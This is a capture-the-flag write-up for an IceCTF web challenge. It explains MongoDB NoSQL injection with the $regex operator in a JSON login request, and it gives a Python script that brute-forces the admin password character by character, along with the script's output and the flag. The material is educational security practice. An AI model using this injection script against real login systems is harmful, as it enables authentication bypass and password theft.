It’s already been 1.5 month since IceCTF took place, but I recently stumbled upon a similar challenge at an offline CTF. Therefore, I chose to write this write-up anyway.
Description
I keep getting so much spam from this website. Can you leak the admin password so I can put a stop this nonsense? I made an account for you to help you break in, the username is agent1568 and the password is agent1568
Solution
After opening the website that was given with the challenge, I was presented a simple-looking website. Of course, I tried to log in with the credentials provided in the description. After logging in, there was only a text:
1 |
Welcome back Agent 1568! |
Nothing more, nothing less. It seemed that this was the only interaction I was going to get from logging in. As the challenge said the admin account had to be breached, this was the point where some kind of an injection, or at least some messing around with parameters, would have to be done.
As I always proxy my browser’s requests through Burp during CTFs, I quickly figured out that the requests were done in JSON. The two images on the homepage also showed something about MongoDB and AngularJS, so I figured the backend system was running MongoDB indeed.
After a quick Google search, I stumbled upon this website that described how a MongoDB injection was possible by using nested object within the form fields. Normally, the credentials would be passed through to the server like this:
1 2 3 4 |
data = { "user":"admin", "pass":"admin_pass" } |
Now, if the calls are not properly sanitized and the system is poorly configured, it is possible to not only pass on a string like “admin_pass” as a password, but a JSON object instead. Using this technique, we can make a request like this:
1 2 3 4 |
data = { "user":"admin", "pass":"{"$regex":a}" } |
As you will probably see already, I used MongoDB’s $regex operator above (click here for the official documentation). Instead of comparing the true password of the user admin with a user-provided string, it will match it with our regular expression, which consists of an ‘a’ only in this example. If the admin’s password contains an ‘a’, the database query looking for the admin user + its password would return a record, or True, enabling us to log in as admin.
It turned out this approach worked, indeed. After repeating the request with the parameters in the example above, I got the following message:
1 |
Welcome back Administrator! |
Mm, no flag there. Could it be that the password is the flag? If so, it must start with IceCTF{. A quick test showed that this indeed was the case.
We now have the first part of the admin password (the flag), so we can now try to append a character each time. If the guessed character is correct, we can expect the message ‘Welcome back Administrator!’ to show up. If it is not correct, we will see another message (which is “Invalid credential !” by the way). Looking at the other flags, it will likely consist of both lowercase and uppercase letters, the numbers 0-9, the underscore (_) symbol to separate words, and a closing curly bracket (}) to end the flag.
To reduce the number of unnecessary tries, I wrote a script that compiled a list of all unique characters present in the password first. Using that list, which I called test.txt, I let another script guess the next character of the password recursively, starting with “IceCTF{“:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 |
import requests import json print "Searching for the flag recursively..." # The initial password, always starting with "IceCTF{" cur_pass = "IceCTF{" def try_char(character,cur_pass): # The password we will try in this round # ...consisting of the last known correct part + a guess for the next character try_pass = cur_pass + character # The data we wil try to send to the server, including the password as a regex data = { "user":"admin", "pass":{"$regex":try_pass} } # Get the response after trying to login using the credentials above response = requests.post('http://chainedin.vuln.icec.tf/login',json=data) # If we see the text "Welcome back Administrator!", we know our guess was correct if response.text == "{\"message\":\"Welcome back Administrator!\"}": found = True print try_pass cur_pass = try_pass # If the character equals }, we know we are at the end of the flag if character == "}" # Close the program sys.exit(0) else: found = False # If we found the right character, return True. Else, return False return cur_pass def find_next_char(cur_pass): # I compiled a list of all unique characters that are in the password before in test.txt # We will only try these characters to limit the number of unnecessary guesses with open('test.txt') as file: for line in file: # For each character, try if it is the next character in the password character = line.strip("\n") cur_pass_after = try_char(character,cur_pass) # If the character was not the one we tried, try another character from test.txt instead if cur_pass_after == cur_pass: continue # If the character we tried was indeed the correct next character, try to find the character after it else: find_next_char(cur_pass_after) # Start the recursive guessing find_next_char(cur_pass) |
Let’s try to run the script!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 |
root@kali:~/Downloads/ctf# python py_tester.py Searching for the flag recursively... IceCTF{I IceCTF{I_ IceCTF{I_t IceCTF{I_th IceCTF{I_thO IceCTF{I_thOu IceCTF{I_thOug IceCTF{I_thOugH IceCTF{I_thOugHT IceCTF{I_thOugHT_ IceCTF{I_thOugHT_Y IceCTF{I_thOugHT_YO IceCTF{I_thOugHT_YOu IceCTF{I_thOugHT_YOu_ IceCTF{I_thOugHT_YOu_c IceCTF{I_thOugHT_YOu_co IceCTF{I_thOugHT_YOu_cou IceCTF{I_thOugHT_YOu_coul IceCTF{I_thOugHT_YOu_coulD IceCTF{I_thOugHT_YOu_coulDN IceCTF{I_thOugHT_YOu_coulDNt IceCTF{I_thOugHT_YOu_coulDNt_ IceCTF{I_thOugHT_YOu_coulDNt_i IceCTF{I_thOugHT_YOu_coulDNt_in IceCTF{I_thOugHT_YOu_coulDNt_inJ IceCTF{I_thOugHT_YOu_coulDNt_inJe IceCTF{I_thOugHT_YOu_coulDNt_inJeC IceCTF{I_thOugHT_YOu_coulDNt_inJeCt IceCTF{I_thOugHT_YOu_coulDNt_inJeCt_ IceCTF{I_thOugHT_YOu_coulDNt_inJeCt_n IceCTF{I_thOugHT_YOu_coulDNt_inJeCt_no IceCTF{I_thOugHT_YOu_coulDNt_inJeCt_noS IceCTF{I_thOugHT_YOu_coulDNt_inJeCt_noSq IceCTF{I_thOugHT_YOu_coulDNt_inJeCt_noSqL IceCTF{I_thOugHT_YOu_coulDNt_inJeCt_noSqL_ IceCTF{I_thOugHT_YOu_coulDNt_inJeCt_noSqL_t IceCTF{I_thOugHT_YOu_coulDNt_inJeCt_noSqL_tH IceCTF{I_thOugHT_YOu_coulDNt_inJeCt_noSqL_tHa IceCTF{I_thOugHT_YOu_coulDNt_inJeCt_noSqL_tHan IceCTF{I_thOugHT_YOu_coulDNt_inJeCt_noSqL_tHanK IceCTF{I_thOugHT_YOu_coulDNt_inJeCt_noSqL_tHanKs IceCTF{I_thOugHT_YOu_coulDNt_inJeCt_noSqL_tHanKs_ IceCTF{I_thOugHT_YOu_coulDNt_inJeCt_noSqL_tHanKs_m IceCTF{I_thOugHT_YOu_coulDNt_inJeCt_noSqL_tHanKs_mo IceCTF{I_thOugHT_YOu_coulDNt_inJeCt_noSqL_tHanKs_mon IceCTF{I_thOugHT_YOu_coulDNt_inJeCt_noSqL_tHanKs_monG IceCTF{I_thOugHT_YOu_coulDNt_inJeCt_noSqL_tHanKs_monGo IceCTF{I_thOugHT_YOu_coulDNt_inJeCt_noSqL_tHanKs_monGo} |
That was the MongoDB injection! The flag is IceCTF{I_thOugHT_YOu_coulDNt_inJeCt_noSqL_tHanKs_monGo}.